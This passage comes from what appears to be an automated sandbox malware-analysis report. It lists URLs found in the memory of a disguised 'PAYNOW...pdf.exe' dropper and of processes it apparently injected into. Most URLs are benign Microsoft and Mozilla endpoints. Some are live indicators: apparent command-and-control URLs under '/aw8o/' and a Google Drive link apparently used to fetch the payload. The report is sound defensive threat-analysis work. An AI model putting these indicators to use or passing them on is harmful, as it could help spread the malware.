Source: ipconfig.exe, 00000009.00000002.93142477578.0000000007777000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.m7q374.cfd/aw8o/?5Nag0d=nhv7d1UsR641C1xsYG7yI3kkUS0KzPRqVFV4UCeq
Source: explorer.exe, 0000000B.00000002.93150795021.000000000B167000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.openlend.lat
Source: explorer.exe, 0000000B.00000002.93150795021.000000000B167000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.openlend.lat/aw8o/
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zenturasolutions.com/
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zenturasolutions.com/64
Source: ipconfig.exe, 00000009.00000002.93120034029.0000000002BCF000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007786000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zenturasolutions.com/aw8o/?5Nag0d=taxf5j588OeYZZ7u8xH1eBnKDxsrb249ZHPrEnAhG3HGAn0ZxHMys4u
Source: ipconfig.exe, 00000009.00000002.93139518061.000000000490A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003A6A000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.00000000150BA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://2domains.ru
Source: ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppbweP
Source: explorer.exe, 0000000B.00000000.89216854584.0000000009E38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93146293008.0000000009E38000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirm
Source: explorer.exe, 0000000B.00000002.93119628594.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000B.00000000.89205146163.0000000001318000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93119628594.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSd?
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4FD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/H
Source: explorer.exe, 0000000B.00000003.89858270630.0000000009D9D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93145857837.0000000009D9E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89214774004.0000000009D8F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89857437602.0000000009D8F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=160B7FB949C147B2A64ACB13C14C28AA&timeOut=5000&oc
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93155408697.000000000D4B5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?)dQN
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: explorer.exe, 0000000B.00000002.93147051443.0000000009F63000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89845420576.0000000009F5E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89216854584.0000000009F28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90792635125.0000000009F5E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JgArPAA=/Condition/AAehyQC.svg
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JgArPAA=/Teaser/temprise1.svg
Source: ipconfig.exe, 00000009.00000003.89515432113.0000000007FED000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gPfv-dark
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/gsap/1.20.2/TweenMax.min.js
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css
Source: ipconfig.exe, 00000009.00000003.89515432113.0000000007FED000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003593000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93120034029.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000000.88749664588.00000000026F3000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000013D43000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002BC43000.00000004.80000000.00040000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-00-7o-docs.googleusercontent.com/
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-00-7o-docs.googleusercontent.com/aDk
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88602026511.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717265199.00000000031AD000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-00-7o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/3mmtd7lc
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738044802.0000000032810000.00000004.00001000.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003148000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1fayl07woraJr0TR9XXo8cS5umDc-PpmU
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003188000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1fayl07woraJr0TR9XXo8cS5umDc-PpmU&
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88716658830.0000000003148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1fayl07woraJr0TR9XXo8cS5umDc-PpmUtd
Source: 1577Z44ZL.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ipconfig.exe, 00000009.00000002.93144508490.0000000007DFA000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142477578.0000000007718000.00000004.00000020.00020000.00000000.sdmp, 1577Z44ZL.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1577Z44ZL.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 0000000B.00000003.89862322225.000000000D96E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D980000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90801789873.000000000D97F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: ipconfig.exe, 00000009.00000002.93139518061.00000000042C2000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000003422000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014A72000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css2?family=Noto
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003C7A000.00000004.10000000.00040000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002DDA000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.000000001442A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto
Source: ipconfig.exe, 00000009.00000003.89515432113.0000000007FED000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/7dafd5f51c0afd1ae627bb4762ac0c140a6cd5f5
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D77C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93156604659.000000000D774000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89852179483.000000000D77C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA125lCw.img
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA14H4ei.img
Source: explorer.exe, 0000000B.00000000.89214774004.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93144264248.0000000009CA0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1cug2r.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1eBTmz.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA5Wkdg.img
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAWSzn9.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAkqhIf.img
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB10MkbM.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1ftEY0.img
Source: explorer.exe, 0000000B.00000000.89223803196.000000000D788000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D788000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89858702596.000000000D788000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1gJOWA.img
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7gRE.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hg4.img
Source: explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB7hjL.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBBFV0f.img
Source: explorer.exe, 0000000B.00000003.90795369755.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93159532694.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D851000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89848929343.000000000D851000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBH3Kvo.img
Source: ipconfig.exe, 00000009.00000003.89515432113.0000000007FED000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-launcher-process/launcher-process-failure/1/
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: ipconfig.exe, 00000009.00000002.93139518061.0000000003956000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93142245935.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93131775018.0000000002AB6000.00000004.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.93171799628.0000000014106000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.89567096761.000000002C006000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://js.users.51.la/21774239.js
Source: ipconfig.exe, 00000009.00000002.93120034029.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: ipconfig.exe, 00000009.00000002.93120034029.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: ipconfig.exe, 00000009.00000002.93120034029.0000000002BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600083542.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88600571165.00000000031C2000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88717407719.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88587849840.00000000031C5000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88583316568.00000000031C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: ipconfig.exe, 00000009.00000002.93120034029.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: ipconfig.exe, 00000009.00000003.89429259538.0000000007691000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdms-gamingoverlay://kglcheck/res://C:
Source: explorer.exe, 0000000B.00000003.90798168536.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89860922380.000000000D998000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.89838115505.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.93162320753.000000000D99B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.90788939622.000000000D96C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.89223803196.000000000D96C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.comY
